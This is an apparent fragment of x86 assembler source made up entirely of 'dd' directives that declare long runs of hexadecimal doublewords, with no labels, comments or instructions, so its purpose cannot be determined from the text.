		dd 85A81041h, 39900053h, 9B4802DAh, 12884FFEh, 5CD213B0h
		dd 0FB984B23h, 2E0B8DAh, 43EC1C04h, 20BBC75Fh, 5178564Ch
		dd 2F6C2E00h, 0A0260C2Dh, 67C40084h, 0EC4D03F4h, 831EFF7Eh
		dd 3FD5A296h, 0BCDA0834h, 9FC80233h, 0EC8172F4h, 2F586B10h
		dd 0C12C8001h, 0B00056BEh, 721C3C9Fh, 5988310h,	20B7C420h
		dd 980BFCAEh, 2E5FC0BCh, 97D12B60h, 802B91D4h, 63133D81h
		dd 0E32E04FEh, 884E72CDh, 0B939DB88h, 0C474001Ch, 81D27E7Ch
		dd 28765C73h, 60D15E05h, 0F230B26Bh, 7DE2302Fh,	0B6039500h
		dd 4CBAAED3h, 0B0C9230h, 90D2450Bh, 0D84008E2h,	7821577Ah
		dd 1859D904h, 0ACA23C24h, 1737B400h, 40DAA444h,	9D501948h
		dd 4F2759D0h, 33CCBCC8h, 0B7671E00h, 0C953277Ah, 1C4EEED0h
		dd 809747EAh, 986AF0BFh, 795D0B13h, 0D5B8ACh, 55AA94D6h
		dd 0B39FE06Fh, 591B2300h, 0A6E56299h, 1897583Ch, 99755086h
		dd 4843795h, 0DB9ACE45h, 6B5E113Ch, 193C8202h, 0EA02FDFAh
		dd 8AD4DCF0h, 260C1150h, 16CB0017h, 2589E379h, 4D65F903h
		dd 3E64F399h, 91103618h, 0D7D40E34h, 0E966177h,	1CE05FF6h
		dd 51DA00F4h, 0CE5E874Fh, 0A8447195h, 0DCE3070Ah, 1041D731h
		dd 72CE5904h, 2C3A14F8h, 3C40611Bh, 9170A0CDh, 0D0430CB0h
		dd 2608B89Dh, 0C55721C0h, 76072CA0h, 0A1510090h, 0C0CE58F7h
		dd 0E00315ACh, 41E2DB2Ah, 0B0A00A19h, 3C4CF78Fh, 606675F4h
		dd 763F1161h, 0D603CEDBh, 0DEF838A0h, 53083090h, 0DB7E2521h
		dd 6076CA39h, 0FF6B5F10h, 12B10037h, 0DEFEC3A4h, 0E530FD10h
		dd 0A9D521CEh, 94525007h, 3EB00194h, 8EBA469Dh,	53FED4C3h
		dd 5EF8D803h, 0CD21161h, 0E11B7DB8h, 85011071h,	4B14C66Ah
		dd 0AECCD860h, 1AE9039Dh, 0F8770F7Ah, 5F5C2900h, 0FC60F05Bh
		dd 29730175h, 0E2FD5984h, 4B89807Fh, 7860AC63h,	0D9101D38h
		dd 0F3F100A3h, 0D8C620F0h, 793C9B1Eh, 0B41BB84Ah, 0A81BF41Dh
		dd 97728008h, 795D1B17h, 55A0300Ch, 0D80068D3h,	0F8D7533Fh
		dd 98D2D9h, 42CCF434h, 5B2CF2F1h, 2278B21Bh, 435FF011h
		dd 2C7717Fh, 184B5CF8h,	0B0836176h, 62B00D10h, 120E08CBh
		dd 6030F414h, 176D23F5h, 9A791FFFh, 0F82A2Ch, 3137874Eh
		dd 0EF4A0B55h, 0E8F552h, 3B52C374h, 5B0E6Bh, 8AFF44DEh
		dd 0AD42369Dh, 0CB2DA8A9h, 0E6794900h, 4FA524F7h, 0AD030196h
		dd 624E47E1h, 8EBACD9Ch, 90C87630h, 0FFBDE700h,	1967DCCDh
		dd 3D9AAE00h, 767C8954h, 0DE920073h, 0C72E79ABh, 0DF0046BFh
		dd 0FB6CEB27h, 527F0F89h, 4E18D458h, 0A2CA811Ah, 3D1FDE00h
		dd 0FB17021h, 29636178h, 71EA5505h, 6DEFD089h, 5A0C210Bh
		dd 0E1A20094h, 2541493h, 0CEDCCAFAh, 80A1FCF5h,	0FCDAA739h
		dd 311316EBh, 0E11E71B5h, 861E4E00h, 205229Dh, 0E09B92A7h
		dd 10411D2Ch, 2C0015BAh, 0F533B121h, 8051DDDFh,	0ABE64323h
		dd 240395E4h, 0AFA571C8h, 4D74F8BCh, 8FC1F173h,	722D1E20h
		dd 0EFD8A081h, 8297002Fh, 3D4588AAh, 8E00A752h,	1C68A14Eh
		dd 73571D9h, 0A8B69F07h, 0D1A6C0EEh, 1700B1D0h,	0A9B5A7DCh
		dd 0C6ADA127h, 29780620h, 72703F00h, 0B5B0CDE7h, 0A036005Ah
		dd 59EF9EF4h, 8820EA1Dh, 0D32D264Dh, 0A66E0333h, 49089D30h
		dd 3C811CA1h, 0EF74AF0Dh, 0E913DC18h, 7700C575h, 33A9DF5Dh
		dd 37434E8h, 10921F68h,	0CDF86ADCh, 0AF7324BDh,	7B99E400h
		dd 0B1623402h, 0EA282FC6h, 8A1ECB00h, 3D010D21h, 0C56D8873h
		dd 0D0EF4037h, 6175236h, 0C75EA4Ah, 0AC60D1A1h,	18B4E470h
		dd 0FAB800E9h, 902B97BFh, 34000A99h, 360F4A66h,	3273B341h
		dd 0C339A92Eh, 5134B380h, 0F106FADFh, 991DA6ADh, 119403E9h
		dd 7C0C2493h, 0A0383100h, 16ECFAFDh, 0C9E500D0h, 0A6619247h
		dd 0AC002C51h, 0E185376Ch, 0C3A70F3Fh, 74B2C150h, 94F8CFFBh
		dd 96000C33h, 431EEE8Ah, 71D9DE10h, 0FC407BFh, 0B43E4Bh
		dd 0C1D8EA11h, 0EE00C571h, 285EB1A1h, 0FA5C739Dh, 0E2E35C99h
		dd 0A8F0E407h, 684F7F29h, 0B0640356h, 18C6E523h, 859DA338h
		dd 5F5BA991h, 0B0D5206Ch, 2440C1D1h, 0D09FDFBEh, 0AC009E7Eh
		dd 17D29CE4h, 3EECDB60h, 8E0727A3h, 7096B852h, 2BA5D65Ah
		dd 90ADAA04h, 84399FDEh, 5693B481h, 24941410h, 0B75DE907h
		dd 8980DFECh, 646D556Eh, 1000AF7Fh, 2197DD20h, 5B2DA0Eh
		dd 0AD60CFA0h, 83458ACh, 80A0E05Fh, 1AE7C3C9h, 0B9F8A0D0h
		dd 0C2B78000h, 650D669Fh, 0C8DA0017h, 0A9D97BB6h, 0A7079C26h
		dd 0BE9E1B52h, 982504E0h, 78DF00C5h, 54CDC8B0h,	1D0BEBFEh
		dd 8086A7B8h, 3024BE76h, 8C29C823h, 2BEE7242h, 6D296A0Ch
		dd 4291FE20h, 0EA447CA0h, 48E244AEh, 0B4511C64h, 11ED1A21h
		dd 4B13E3CAh, 0C84229DEh, 21DEB311h, 1BF20896h,	3500DC91h
		dd 4CAD8647h, 0D70573EFh, 63CE5ABEh, 967E5B81h,	0B1B7FCh
		dd 2FF14A87h, 8D32093Fh, 0A8BB2E00h, 92D4DC5Ch,	3E70E9h
		dd 7E552A67h, 0F951442Ch, 52BAC807h, 0D05060BEh, 2D2218h
		dd 1E3F09AAh, 3203403Eh, 0BA048300h, 2CCB959Dh,	93870201h
		dd 43020961h, 0C28CEEC0h, 483BFC05h, 0BF00CB29h, 47A1450Eh
		dd 33BB0281h, 0B2BC5CB3h, 2A913FE0h, 20440200h,	9F55630Eh
		dd 48A600D6h, 3ED1F6E3h, 0D33F1E6Ch, 0E2432E38h, 0D05E4200h
		dd 0F1E6DFh, 0DBCE9139h, 0B53E485Fh, 98CDD800h,	1121052Bh
		dd 0C3D90062h, 7F7A9996h, 3E03BA36h, 0C242A1EAh, 5728F09Ch
		dd 21FE615h, 7EAC48B7h,	7E6021C4h, 0D8FB5241h, 0E000322h
		dd 9C67E704h, 0EB49FAh
		dd 0BACB5A1Bh, 923201A5h, 0C3BB9000h, 0ED5DBE9Fh, 2C7758E9h
		dd 0CE2F6C00h, 0F106E0A4h, 9B321600h, 0DB1D8AEAh, 16657BD0h
		dd 1E935F3h, 0D750D406h, 6D09FC1Fh, 54010DEEh, 0B15BBBB6h
		dd 5030BE67h, 7087007Dh, 7434AFEh, 0E7006930h, 9DE480F3h
		dd 0FC60673Ah, 7F97186h, 375E4381h, 0B0C2972Dh,	0C7680B88h
		dd 59A73000h, 31208589h, 18E7FE06h, 10512FD3h, 21084AC9h
		dd 952CD96h, 4300429Ah,	0B09A465h, 0F95FAD07h, 35C1B48Fh
		dd 2FE48267h, 0D19F1E66h, 0F5924290h, 8484C4A5h, 0E4EA0040h
		dd 8ED3E0h, 41FC253Ch, 8BC2C79Ch, 0CC2B100Eh, 920A40E2h
		dd 5EDC11h, 0A58D30BCh,	0DBB64533h, 282E93FCh, 8A0076FFh
		dd 40FBE4F5h, 73790037h, 5A0FAEEEh, 62007A28h, 359CE72Dh
		dd 1CC08C7h, 0E08B892Bh, 20DD98BFh, 41075E9Bh, 452C3880h
		dd 7A08B5F0h, 0B3740758h, 10064056h, 5A078AEBh,	0B0B7F900h
		dd 711DB486h, 92FF00D3h, 0D8CD7BFBh, 0C160FEB8h, 0AD8F89F8h
		dd 335E3971h, 2FDDF080h, 6EE9AA62h, 0D0ED4707h,	0A17502Ah
		dd 1BBCE1E0h, 0F77733Bh, 0F7BF8E04h, 303680C0h,	0EE142E3Ah
		dd 24F0CB48h, 0A20080DCh, 95BC0774h, 0B2A50786h, 9015BE1Bh
		dd 0B9BF4FAFh, 0C952DF01h, 40115497h, 7C433D70h, 0FCCD00B0h
		dd 28A7919Ah, 98B0820Dh, 0E8460424h, 9D569000h,	0FC755BEh
		dd 0AB41F237h, 129584C0h, 0CDFC1A10h, 0A692203h, 0AF714651h
		dd 40EC1C02h, 143C2h, 2F1A3BBBh, 0B959B87Dh, 85075100h
		dd 32BC8928h, 0C84A00A6h, 0C4E11F2h, 0B2001F7Dh, 4569A168h
		dd 0E6F8281Bh, 26BB03FFh, 0BF4AD5F6h, 6C8ADFF0h, 5AA62C01h
		dd 312D3280h, 82C48CF9h, 96640F99h, 0C009B1FAh,	0AAA62801h
		dd 0F4E3D693h, 19E826F0h, 0C4A02A71h, 0DAA212A3h, 0F3EB7640h
		dd 0B3182861h, 3EDCC786h, 98110075h, 88E09597h,	82003339h
		dd 8038ED06h, 16CBA1h, 18FCBBB2h, 53D24D24h, 601C44E0h
		dd 87B9CF28h, 99045C84h, 3BCE4EC0h, 83590FECh, 0A202438h
		dd 1C2AF018h, 0A7B67200h, 7FCED499h, 76F600BCh,	6707DF0Eh
		dd 8200C913h, 0F7EE4AE2h, 1D4FEB9h, 124C79ADh, 21640D71h
		dd 68E8803Bh, 0B168AF4h, 0CFC3078Eh, 6F93A3B6h,	5B1E9A1h
		dd 0D5C1DCD4h, 0DF00F27Fh, 1513322Bh, 7DA3425Fh, 6C8600C2h
		dd 783116F3h, 0CF031703h, 8F22498Ch, 873DE806h,	7C59006Eh
		dd 57CE5C09h, 0AA3AA5C0h, 80B6B827h, 0ABE47B68h, 2E831D4Eh
		dd 1A524BDh, 94180D86h,	70D8D7D6h, 0A726B3FFh, 3F50745Bh
		dd 399A09BAh, 4CA05669h, 85CDCBD5h, 0D0FCDB01h,	0FF1AA197h
		dd 9E580EEh, 737F0E9h, 0A4FB2E39h, 0D0E6724Bh, 29679060h
		dd 0DCEEBC00h, 0FA04DA94h, 0AEDF0037h, 0B377BE89h, 381D2F76h
		dd 414B704Ah, 9D540032h, 4ED31Bh, 0FE862D4h, 0BA0B5D94h
		dd 16FC0618h, 13A7C84h,	73957836h, 0DCDDE2E9h, 0D90057B2h
		dd 6F9F5988h, 777FB30h,	390D8797h, 5313E071h, 0C101B4F2h
		dd 3031CFFEh, 3880CB22h, 46FB61A0h, 900342CCh, 8CED51C6h
		dd 0DB5AF039h, 3CD0EF63h, 3F70335h, 9F74AC0Fh, 0F440C5C2h
		dd 0E21F1CD0h, 10806876h, 0A779BAE0h, 19D307CFh, 0C063B3DBh
		dd 953EE24Eh, 2D0078F4h, 5D6BE104h, 1C37674h, 0B3CDB18Bh
		dd 0D8162124h, 3F40E08Ah, 0B91A2C5Ch, 46AB40DCh, 0BF0A5F8Fh
		dd 81BA9EB1h, 0D1910Bh,	0AB868A08h, 24714Fh, 0E307CA9Ch
		dd 96BF173Fh, 0E71C3075h, 1D815BD8h, 50A9E203h,	7200FC62h
		dd 0FEEC9B9Ch, 101E68Ch, 4C90D9A1h, 11E4855Dh, 0A33E0C3Fh
		dd 41C9F1B8h, 0E063Ah, 0BF7ABDBBh, 732E7B7h, 0E072D85Fh
		dd 783CA1A1h, 6BD83580h, 5AC2A0h, 0F42D1092h, 7FFD26Ch
		dd 82F79400h, 84DCBC6Dh, 0CAE600A2h, 5ADFBBEAh,	48E40670h
		dd 0CC6F0400h, 0BF16336Bh, 855F12C5h, 0B4AC0EC6h, 63B2DF40h
		dd 1800843Ah, 0EDC987D1h, 0A09298C0h, 0A2F48Fh,	0AEFC6DEh
		dd 0E06757D9h, 77662900h, 9FF97410h, 0B0CD48C5h, 99FB726h
		dd 0AC0047EDh, 0F181A9B2h, 0D872B803h, 0E0B3C2FFh, 1D5E3887h
		dd 8021ED62h, 9971856Ch, 0ACB0A8C9h, 5BBE4400h,	3B35D10Dh
		dd 0F2050013h, 770FB76Eh, 5C724333h, 783AB500h,	0B97B91E9h
		dd 7E7E0ADh, 729D8B76h,	0C01C857Fh, 12EB2F26h, 0E10B85Ch
		dd 601D4644h, 95B3A038h, 76F20091h, 0A434019h, 92003DEBh
		dd 5A3EF7E5h, 15D1D11h,	2D5EF62Bh, 0C8ABE7FBh, 40001F4Ah
		dd 3B28EEB2h, 495B5Ch, 0A0D882EAh, 358B8ADAh, 0BCFB4Dh
		dd 4DAA2FC0h, 0D602DDh,	656F0E2Eh, 2B8A327Fh, 7C1C912Ch
		dd 0F817201h, 0F0C78724h, 0E6DFA6A9h, 7EDC120Dh, 79C80074h
		dd 2581B035h, 19D26D00h, 89662348h, 0F2551F75h,	45030078h
		dd 0C11CB0C5h, 9DEBC00h, 0E66AEC21h, 1E74F3h, 38E8324h
		dd 0EC15C41h, 0EB9AB900h, 9F26267h, 0F3151D66h,	9B5181DEh
		dd 0FA7B7E42h, 1F6FB160h, 0EA961402h, 40C13943h, 0EB3A814h
		dd 4E4B56CBh, 63F50E00h, 0E400F1D2h, 1245EEB4h,	113FE54h
		dd 0ED1E03B1h, 2B554873h, 5B5B0h, 0F9ABC980h, 49C572D7h
		dd 48D7E29Fh, 39B5C6C0h, 0EC80A1FDh, 65706BA8h,	0AC095F9Eh
		dd 80AFF1D6h, 0B70964A5h, 486C2E22h, 9ECD0094h,	0F6C4CC1Bh
		dd 6936CA00h, 9F80095Dh, 0AC0C0992h, 5200D15Fh,	0FCA5A282h
		dd 2A540118h, 1C90D310h, 805B041Ch, 0A57DBDF2h,	8E2468E8h
		dd 0BC00D114h, 0D1DB7F86h, 2E1DF619h, 4E06F46h,	3C75D5Fh
		dd 80B1377Ah, 0BF2FA4h,	0C2211E8Dh, 0BB11CA2Dh,	93096100h
		dd 0B1F995AEh, 8A1F05F2h, 80368937h, 5BC0F7AAh,	9A4727h
		dd 0EC73A7ACh, 0BBE1487Bh, 9588127Ah, 4C108060h, 69017D0Bh
		dd 72261B12h, 32205330h, 83D1A06Bh, 34545C05h, 0BC632E00h
		dd 1EACF982h, 5A4C4D00h, 317950C7h, 2CB011h, 0D3214247h
		dd 0C6A89899h, 0D416D200h, 8953F222h, 0B849C043h, 7902A9F6h
		dd 0FAC52E06h, 0F6189772h, 8B07059Dh, 0C0F3F73Bh, 0BDAA4972h
		dd 73CE9506h, 17984497h, 3D2733h, 6FF6BABFh, 35007DB8h
		dd 0DA343699h, 71B44A7Ch, 17493951h, 94A728h, 0D9FE14D5h
		dd 0CAB0295Bh, 4E00CDEEh, 0AB4DC134h, 61E8C3h, 0F4277B2Ch
		dd 43BFEBD1h, 6E88035Ch, 41548728h, 2C00534Eh, 508F878Ch
		dd 0AF140E0Ah, 708F0E88h, 0FA565961h, 30D8808Dh, 63833591h
		dd 0D39301C5h, 0D7C3927Fh, 0CCB4C44Fh, 8530743Fh, 0CA849C8Dh
		dd 0D318D000h, 0B0EE49h, 0C3F80577h, 1A06326Eh,	0CB232800h
		dd 0FD95C7ABh, 0DD9027h, 694C5713h, 0F8BC84C2h,	0D5308800h
		dd 496C3A15h, 42B90B4Eh, 48010898h, 60015244h, 0C0008373h
		dd 9E85FB3Ah, 201D19h, 0D38C4DF0h, 2128F95Ch, 31E4590Ah
		dd 0B828B416h, 8473E300h, 3B3F43DDh, 1E1A041Bh,	0C02D67F2h
		dd 7A19B40h, 20487100h,	0F54AAEA0h, 20CF5C77h, 89099400h
		dd 25D601C8h, 0B46A9902h, 608267F6h, 15F73Eh, 142D6147h
		dd 190507E0h, 0FA919004h, 38A0533Bh, 2D09072Ch,	0C0E3C8AFh
		dd 0B0EA3AB4h, 0A2F15600h, 636AF513h, 892B00C7h, 0DD0A59D8h
		dd 340C4A7Eh, 18C474D6h, 3A140228h, 0B85291FCh,	9CCE5040h
		dd 0C3E0DF18h, 0D75A20h, 610AF1C0h, 6EE8713Fh, 8E949E3Fh
		dd 20A9E516h, 0D0A7C19Fh, 1BD700C4h, 0DFF56A3Bh, 100A421h
		dd 0DC8DE169h, 0CA1D63h, 312CB135h, 1C66EAA0h, 8E620800h
		dd 3F2B718Ch, 0EF450538h, 80CC031Bh, 0E660D75Ah, 8C39A000h
		dd 0FB7A2781h, 0A840034h
		dd 1922A99Fh, 0CC9CEE9Dh, 788E0038h, 6399122Fh,	0BEDD281Ah
		dd 880C2C90h, 95A180A0h, 0AE3C9DB0h, 705025Ch, 9FB7EB1Ch
		dd 0D881B630h, 2E513C12h, 7FC0C607h, 311AB0AFh,	72006778h
		dd 0E8D5A43Dh, 988A90D4h, 0D80A0094h, 0F1A6A869h, 4A5C4D44h
		dd 0F3DFCh, 9C59FB52h, 0F737533Ch, 503082Ch, 68DA8CB3h
		dd 80A22038h, 463AF9FFh, 61946Ah, 624E92E3h, 8126E9B2h
		dd 0F0EE3912h, 64903480h, 0A81E380Fh, 5C82D680h, 938588BCh
		dd 9B5FB205h, 0D88090C4h, 3F729151h, 6E8F87F6h,	1D03D812h
		dd 4DF8B792h, 0DF90F48Bh, 19B69700h, 7E287939h,	9D550011h
		dd 332B86A6h, 64036B5Ch, 2566487Dh, 366DC05Bh, 0EAAB006Ch
		dd 37C2BFA0h, 1D001612h, 0B2708322h, 9DDB6Fh, 90C5A113h
		dd 0C2672774h, 3D4809E6h, 63620034h, 0D14E59D7h, 742400D3h
		dd 8538431h, 1600CB48h,	0A033F952h, 0F7234B8h, 69583AC6h
		dd 0D6EA180h, 0C1673BAh, 7C40B567h, 0C2717064h,	0DDC90098h
		dd 96E575A8h, 29006F7Ah, 0B7CFC165h, 199033h, 26677D80h
		dd 0B6B8D137h, 2008679h, 5AAF704Bh, 0FA443BD5h,	808DFCFCh
		dd 73003042h, 0CF884F87h, 80F3E8h, 6FBFC7Ch, 9C10978Ah
		dd 0BCDE4600h, 0A75F17F5h, 0CECB00DAh, 9FB98CF6h, 1002394h
		dd 0A6DD9189h, 3187E1Fh, 8E1C7334h, 0F6E05590h,	89003BD2h
		dd 0CBFE1A23h, 3E58C61Bh, 5E01C9A5h, 0CE8264CCh, 2754F459h
		dd 7861A41Dh, 1FF59840h, 0F4C2B9h, 912D02C3h, 651562ACh
		dd 3E45F800h, 0B467FCB3h, 182985Dh, 13F5E22Ch, 7146E0AEh
		dd 912AFC05h, 0B8E59E30h, 0AA5C98h, 3D99547Ah, 0AE23073Ah
		dd 5830A001h, 0C64197A1h, 9AAC60h, 36351051h, 0C0A34C14h
		dd 0DEF8F300h, 0C159C9Dh, 45FC0029h, 0C9D228C1h, 72D2F5Dh
		dd 0A7500219h, 0DDC460BFh, 0EEA0336h, 569437EEh, 8C011680h
		dd 0AAAE5400h, 5BE15193h, 0BE5A000Fh, 959C4B0Bh, 34756AFCh
		dd 0C007C90h, 0A6B1E593h, 59524Ch, 0DC699624h, 0BF6CD10Bh
		dd 0B4B73Ah, 419C7A6Ah,	0C14BEEh, 0A536BFAh, 0F3A59A2Bh
		dd 8C4A5B00h, 7BA3F4A4h, 36230049h, 227BD0Fh, 700B280h
		dd 432B55AAh, 3EC78EC4h, 8B00D093h, 565D2E1Dh, 9F007BB2h
		dd 5F0A10F8h, 189E3Dh, 4B488443h, 5C3B230Fh, 12081F07h
		dd 9D40213Eh, 1FA21BA1h, 0C18729C6h, 7774D4FDh,	10FAD833h
		dd 5EF44900h, 0B0357E7Fh, 0EB0400ECh, 6F11C1F3h, 7C05FC24h
		dd 0E57DF9Bh, 0E45670D0h, 31FA00DCh, 80390640h,	550EA5F9h
		dd 0CFD1935Ah, 67009CF4h, 788A7FB0h, 0DD1800A8h, 6B8BE315h
		dd 0DF01BA0Fh, 0C3AAA580h, 0CB60FBCBh, 1150FDEh, 0ADE91228h
		dd 3E7350A2h, 5BAB1F40h, 54DBFE04h, 0D9C20D52h,	9064C32Bh
		dd 201F667h, 88FECFB3h,	9EC07CD8h, 50B8EA5Dh, 875BAC09h
		dd 30F081A9h, 0ADC8A7E3h, 0FDB50003h, 3E2EA609h, 0E72E515Bh
		dd 0B4000C5Dh, 266DA2BAh, 42340038h, 5CAFC992h,	0CF131651h
		dd 0FC054B40h, 8D80FFBCh, 219A354h, 56D903EDh, 3FE09C52h
		dd 8D00C5A0h, 737EF625h, 7AD51DC8h, 220D0049h, 0A197554Ah
		dd 0BF1728ACh, 6907626Ah, 60A18667h, 8EDCE923h,	9E771292h
		dd 0B13A05B9h, 80FBC479h, 0AB417134h, 125BBE30h, 0C049D6FFh
		dd 16A68F50h, 1A2AD415h, 6900B8A8h, 0B82B2A02h,	0B805C2BAh
		dd 7FFB00B2h, 0F07CB1CAh, 0D403CF48h, 833DE644h, 0BE6009C4h
		dd 8863DE4Ch, 639236C8h, 0B2356B1Dh, 0A3375601h, 10408641h
		dd 0C0C0AB3Ch, 9A1B4239h, 33744522h, 685B260Fh,	0FB4480BCh
		dd 30D499h, 86BFC78Ah, 0E8200428h, 0C4DB901Fh, 2A6060B0h
		dd 4069C313h, 12D0CBF8h, 6D01BF03h, 1BE7B1F2h, 6C20BA23h
		dd 3FB60102h, 0E89EBE81h, 0BBA1F4D3h, 16A633Fh,	8841C48Ah
		dd 0DCD06FEAh, 0A1C360D0h, 49B8873Eh, 620720EEh, 0C08FAAABh
		dd 0EF7A0EC0h, 3E0E67Bh, 1DE45804h, 0C480BDB8h,	64004EDCh
		dd 0A1292DFFh, 381740A9h, 0A7808CBBh, 0B9B20E59h, 0B871751Eh
		dd 1F9D6F13h, 0AB9E3000h, 397797Ah, 5576A180h, 0C4A01EB1h
		dd 7200D878h, 0D31A823Ah, 0F9652Eh, 0CC4FB3C5h,	4192E107h
		dd 1E531800h, 807576E7h, 0F49024h, 1357B9ABh, 154AC32Fh
		dd 0E6C9B70Eh, 8131C0B8h, 1C235483h, 804FC687h,	0F88E3313h
		dd 0A5073A8Ah, 73028C76h, 0B96C9D90h, 59AF003Ch, 0C448DC70h
		dd 7501CFA9h, 84A797ABh, 0EC549FC9h, 7BA043Ah, 70DD4238h
		dd 0CED7C2D1h, 0C126199Fh, 35DFD43Bh, 0AB7260DEh, 1300A87Ch
		dd 116C8F4Dh, 3F6ACEh, 1926414Bh, 3982C598h, 18580F00h
		dd 0AA36DAB8h, 0B6B40081h, 963457C2h, 0AB3017F7h, 0DC0179C5h
		dd 0A7B402C1h, 52EAB847h, 0A506A9E0h, 9EA1BC67h, 0E90B6AB3h
		dd 2D304D1Ch, 0AEE10709h, 6145B9C1h, 0C4C5943Ah, 9626399Bh
		dd 763E2C48h, 18C0E677h, 8B4ECCDh, 10AC6766h, 0E2EFE33Fh
		dd 9A7B2806h, 0E2689E5Bh, 6B671F20h, 36E0011Bh,	42699DB2h
		dd 42F53488h, 0BB0800C1h, 267FF28h, 0A3AD3F31h,	0CFFCD08Eh
		dd 0CDC02C00h, 55F5C186h, 98208822h, 49C40090h,	0BB50BE5Eh
		dd 0A00895Dh, 64421C35h, 60333AF6h, 201E786Ah, 8560E346h
		dd 21C24182h, 4F310C66h, 1F689C02h, 49DF6500h, 0D019860h
		dd 0D884A3BBh, 50A14245h, 52D2B4CEh, 53A0F8BCh,	2F00515Eh
		dd 0DA486583h, 0F8593A24h, 1E2EF852h, 0FD18F7h,	71C71BF2h
		dd 5A0E83DAh, 607DBE72h, 3D212E4Fh, 12260068h, 0C02A5D62h
		dd 0BE0C5264h, 69BBDF35h, 6D94A17Fh, 0E63FAE8h,	640A3CC3h
		dd 7921A68Ch, 4FEE000h,	3E08F923h, 0CD3D3301h, 46D07BD0h
		dd 201D2FAh, 3912FC98h,	0E040BA4Ah, 48210B29h, 3D063060h
		dd 18B98A09h, 0CB48C40Fh, 0ECED053Eh, 0FA9F8400h, 706D5674h
		dd 5AF1011h, 4F3400CCh,	0D0B52091h, 44AA5C38h, 9EC2B900h
		dd 3D0F275Ah, 1EFD8718h, 0A70BF20h, 0AE6F0EA7h,	6EA27320h
		dd 29BE5430h, 8184DE7Ch, 370EFED7h, 88A318D2h, 0FE00D37Ch
		dd 19A8F93Eh, 70299483h, 67371D12h, 1468B0EDh, 1702415Dh
		dd 0E0BC6120h, 1724C497h, 896024h, 0C3EA48B0h, 8CC7847h
		dd 10221D5h, 52B98968h,	0F7A4BBE3h, 808E193Fh, 33CDAC49h
		dd 2CC71A7Eh, 40E4A669h, 21FB6D5Fh, 98734501h, 9A034CCAh
		dd 102C68D1h, 0FD148500h, 67CF013Dh, 33ACD200h,	4677CB63h
		dd 66D05CDh, 0E67942h, 91169C4h, 0D4A0BD8Eh, 0EF0F895Ch
		dd 8556A65Fh, 24C047C8h, 6343E22h, 0B19A3707h, 9E0738E4h
		dd 0B2D03140h, 903CBA22h, 181159A8h, 11ABDFB3h,	1B7FC345h
		dd 36A34300h, 0AE3DA003h, 4ECE85Bh, 0C3472F5Fh,	7610D89Ch
		dd 8D94C007h, 0B08A293Bh, 8C31900h, 2C180Dh, 8ACE2AEFh
		dd 68D4AE1Fh, 63CA3D00h, 0CD623E7Eh, 0ACBC7B5Eh, 89641FC0h
		dd 8868D12Ah, 6C0683CCh, 13A09589h, 477AB04Fh, 45EDCB02h
		dd 0AFBAA6B8h, 5782E0B8h, 9B31C4Bh, 2FCF461h, 0A9DA1480h
		dd 3D281733h, 290184D4h, 95C745Fh, 4004585Bh, 18FE3A0h
		dd 0C72B19D4h, 6801E46Ah, 6B4522FBh, 7E886918h,	51FD0013h
		dd 0E6AAE5ADh, 0E49060F0h, 9DB3C40Ah, 8F82C497h, 6ADD9A45h
		dd 0BD808430h, 41D448D0h, 0A8FBE8C4h, 26424488h, 9466A9h
		dd 41687E3Ah, 0D7509B39h, 0FF0AEDBCh, 0DCBDD0AEh, 465CA09h
		dd 6460663Ch, 45231EFBh, 274114Bh, 24FD0F82h, 7ACB8002h
		dd 590141CBh, 3E003819h, 4B66E4A5h, 9D480A39h, 0F66A0438h
		dd 0E8908150h, 0E2497Eh
		dd 7B4218F4h, 977AF111h, 70FE4C92h, 0DE00118h, 99A3378h
		dd 1FA9FE34h, 0D656EC82h, 9F0044D8h, 628029DEh,	0E23344Bh
		dd 22843FBAh, 421E28Ch,	837238h, 0E3B70A8Ah, 18668E61h
		dd 0E9B1ACC7h, 8400FAA0h, 40A4EF9Dh, 6FEAF1h, 7F41E685h
		dd 0CA83B71Bh, 0CA809F48h, 465E9419h, 8D5D0072h, 0D07EDB3Dh
		dd 5180233h, 43A44239h,	818ED081h, 0CE906092h, 35951207h
		dd 386A414Fh, 6A806811h, 3B4528FBh, 8067448Ch, 0B7FD1500h
		dd 417E059Ch, 8024F5A5h, 213600E5h, 1A48EAF3h, 0CC05E8BDh
		dd 9B624118h, 0B9DCBC04h, 0F9B0E490h, 982506A6h, 21FAE947h
		dd 6D986A61h, 844EB4F7h, 0A0C573C8h, 0D4B54F83h, 46F96082h
		dd 6E7D08h, 605BA43Dh, 4624A254h, 3ACEC40Bh, 140CA01Bh
		dd 334D56Ch, 0B308CD4h,	27C1E52Eh, 0CB587046h, 20CADDA1h
		dd 0C9C3AA02h, 15BC3D8Eh, 84C5A4A1h, 46B8E300h,	8F72C7Ah
		dd 69B3CB0Ch, 0B1559099h, 18A27918h, 3CA12E6h, 9A2422A1h
		dd 91027066h, 8F9FB712h, 0E408651Ah, 9BD66074h,	0AE106B0h
		dd 79A8DE3Bh, 3D610600h, 4744B16Ah, 7A8A01B4h, 0D907F59Fh
		dd 0E450F4C8h, 8F1BD6FAh, 0C071C649h, 9992E99Ah, 0F6A90A1Ch
		dd 0A361FE4h, 58C8C35Dh, 0C49C3A17h, 54D7C8B0h,	0EC5D5ADDh
		dd 95370984h, 349FC3Dh,	575F5CD2h, 6EB75880h, 0CADCB814h
		dd 3F34C7ACh, 38682469h, 0B8027C8Dh, 0FEDC3071h, 0DA371111h
		dd 7D82AB88h, 9198FED4h, 0E186CA8h, 44DCFD05h, 948B9A5Bh
		dd 0FD598C00h, 0FB9358FAh, 601F7000h, 1DB935BDh, 0E9D0601Eh
		dd 0A796F0EFh, 78B5094h, 808488B8h, 80604D3Fh, 0EBC6082h
		dd 8140B198h, 3E288966h, 402B1878h, 4E00049Eh, 0D948D089h
		dd 98A23Ah, 0F1EF1E82h,	0ED4E067h, 10CB6404h, 84D0BC76h
		dd 3F134FF9h, 0D806C9Ch, 0BD917701h, 0E006F1Dh,	0C8336472h
		dd 57F7AFh, 62DF0C3Ch, 1F0F29D6h, 713BCCA0h, 3FB02B0Eh
		dd 185A8621h, 12151ACCh, 0A06160ADh, 84118D9h, 403E2B89h
		dd 540D2C4h, 0B468969h,	41190701h, 0C59840CFh, 0CEA2C463h
		dd 74B5330h, 57E1FA3Bh,	0E1FCC7EBh, 40C26338h, 200A30B8h
		dd 414B6B1Fh, 2B589D94h, 6701B80Fh, 703E3589h, 21C0D118h
		dd 0CA894F07h, 0DC431C7Dh, 0C7FC017h, 0BEB54245h, 82407891h
		dd 4BC749h, 45835BFBh, 0F8AC5CC8h, 0DF644A00h, 6B5AEFBFh
